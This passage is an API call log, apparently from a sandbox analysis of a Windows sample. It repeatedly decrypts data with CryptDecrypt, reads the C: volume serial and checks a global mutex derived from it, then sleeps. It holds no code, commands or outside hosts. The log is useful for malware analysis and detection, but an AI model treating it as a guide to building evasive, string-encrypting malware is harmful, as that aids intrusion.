	[0059.856] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0059.856] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721250 | out: hHeap=0x2720000) returned 1
	[0059.857] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2721228
	[0059.857] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99368) returned 1
	[0059.857] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0059.857] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fdd4 | out: pbData=0x2721228, pdwDataLen=0x288fdd4) returned 1
	[0059.857] CryptDestroyKey (hKey=0xb99368) returned 1
	[0059.857] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721468
	[0059.857] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x298
	[0059.857] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102
	[0059.857] CloseHandle (hObject=0x298) returned 1
	[0059.857] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0059.857] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0059.857] Sleep (dwMilliseconds=0x3e8) 
	[0061.934] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721228
	[0061.934] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb99368) returned 1
	[0061.934] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0061.934] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fda0 | out: pbData=0x2721228, pdwDataLen=0x288fda0) returned 1
	[0061.934] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.934] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2721250
	[0061.934] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721468
	[0061.934] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721490
	[0061.934] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb994a8) returned 1
	[0061.934] CryptSetKeyParam (hKey=0xb994a8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0061.934] CryptDecrypt (in: hKey=0xb994a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721490, pdwDataLen=0x288fd78 | out: pbData=0x2721490, pdwDataLen=0x288fd78) returned 1
	[0061.934] CryptDestroyKey (hKey=0xb994a8) returned 1
	[0061.934] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721490 | out: hHeap=0x2720000) returned 1
	[0061.934] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2721250, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0061.934] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0061.934] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0061.934] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0061.934] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721250 | out: hHeap=0x2720000) returned 1
	[0061.934] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2721228
	[0061.934] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99368) returned 1
	[0061.934] CryptSetKeyParam (hKey=0xb99368, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0061.934] CryptDecrypt (in: hKey=0xb99368, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721228, pdwDataLen=0x288fdd4 | out: pbData=0x2721228, pdwDataLen=0x288fdd4) returned 1
	[0061.934] CryptDestroyKey (hKey=0xb99368) returned 1
	[0061.934] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721468
	[0061.934] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x298
	[0061.935] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102
	[0061.935] CloseHandle (hObject=0x298) returned 1
	[0061.935] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721228 | out: hHeap=0x2720000) returned 1
	[0061.935] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0061.935] Sleep (dwMilliseconds=0x3e8) 
	[0063.247] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0063.247] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa588) returned 1
	[0063.247] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0063.247] CryptDecrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0063.247] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0063.247] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0063.247] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0063.247] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0063.247] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa8c8) returned 1
	[0063.247] CryptSetKeyParam (hKey=0xbaa8c8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0063.247] CryptDecrypt (in: hKey=0xbaa8c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0063.248] CryptDestroyKey (hKey=0xbaa8c8) returned 1
	[0063.248] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0063.248] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0063.248] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0063.248] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0063.248] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0063.248] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0063.248] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0063.248] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa6c8) returned 1
	[0063.248] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0063.248] CryptDecrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0063.248] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0063.248] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0063.248] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x338
	[0063.248] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102
	[0063.248] CloseHandle (hObject=0x338) returned 1
	[0063.248] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0063.248] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0063.249] Sleep (dwMilliseconds=0x3e8) 
	[0064.278] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0064.278] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa208) returned 1
	[0064.278] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0064.278] CryptDecrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0064.278] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0064.278] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0064.278] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0064.278] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0064.278] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa208) returned 1
	[0064.278] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0064.278] CryptDecrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0064.278] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0064.278] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0064.278] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0064.278] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0064.278] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0064.278] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0064.278] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0064.278] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0064.278] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa288) returned 1
	[0064.278] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0064.279] CryptDecrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0064.279] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0064.279] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0064.279] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x31c
	[0064.279] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102
	[0064.279] CloseHandle (hObject=0x31c) returned 1
	[0064.279] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0064.279] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0064.279] Sleep (dwMilliseconds=0x3e8) 
	[0066.047] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0066.047] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa908) returned 1
	[0066.048] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0066.048] CryptDecrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0066.048] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0066.048] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0066.048] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0066.048] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0066.048] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa608) returned 1
	[0066.048] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0066.048] CryptDecrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0066.048] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0066.048] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0066.048] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0066.048] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0066.048] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0066.048] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0066.048] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0066.048] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0066.048] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa7c8) returned 1
	[0066.048] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0066.048] CryptDecrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0066.048] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.048] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0066.048] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x344
	[0066.048] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102
	[0066.049] CloseHandle (hObject=0x344) returned 1
	[0066.049] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0066.049] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0066.049] Sleep (dwMilliseconds=0x3e8) 
	[0067.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0067.477] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa488) returned 1
	[0067.477] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0067.477] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0067.477] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0067.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0067.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0067.477] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0067.477] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa648) returned 1
	[0067.477] CryptSetKeyParam (hKey=0xbaa648, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0067.477] CryptDecrypt (in: hKey=0xbaa648, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0067.477] CryptDestroyKey (hKey=0xbaa648) returned 1
	[0067.477] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0067.477] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0067.477] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0067.477] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0067.478] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0067.478] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0067.478] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0067.478] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa308) returned 1
	[0067.478] CryptSetKeyParam (hKey=0xbaa308, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0067.478] CryptDecrypt (in: hKey=0xbaa308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0067.478] CryptDestroyKey (hKey=0xbaa308) returned 1
	[0067.478] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0067.478] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x344
	[0067.478] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102
	[0067.478] CloseHandle (hObject=0x344) returned 1
	[0067.478] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0067.478] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0067.478] Sleep (dwMilliseconds=0x3e8) 
	[0068.655] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0068.655] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa848) returned 1
	[0068.655] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0068.655] CryptDecrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0068.655] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0068.655] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0068.655] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0068.655] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0068.655] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa508) returned 1
	[0068.655] CryptSetKeyParam (hKey=0xbaa508, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0068.655] CryptDecrypt (in: hKey=0xbaa508, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0068.655] CryptDestroyKey (hKey=0xbaa508) returned 1
	[0068.655] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0068.655] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0068.656] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0068.656] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0068.656] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0068.656] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0068.656] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0068.656] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa7c8) returned 1
	[0068.656] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0068.656] CryptDecrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0068.656] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0068.656] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0068.656] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x33c
	[0068.656] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x102
	[0068.656] CloseHandle (hObject=0x33c) returned 1
	[0068.656] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0068.656] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0068.657] Sleep (dwMilliseconds=0x3e8) 
	[0070.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0070.003] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa948) returned 1
	[0070.003] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0070.003] CryptDecrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0070.003] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0070.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0070.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0070.003] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0070.003] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa488) returned 1
	[0070.005] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
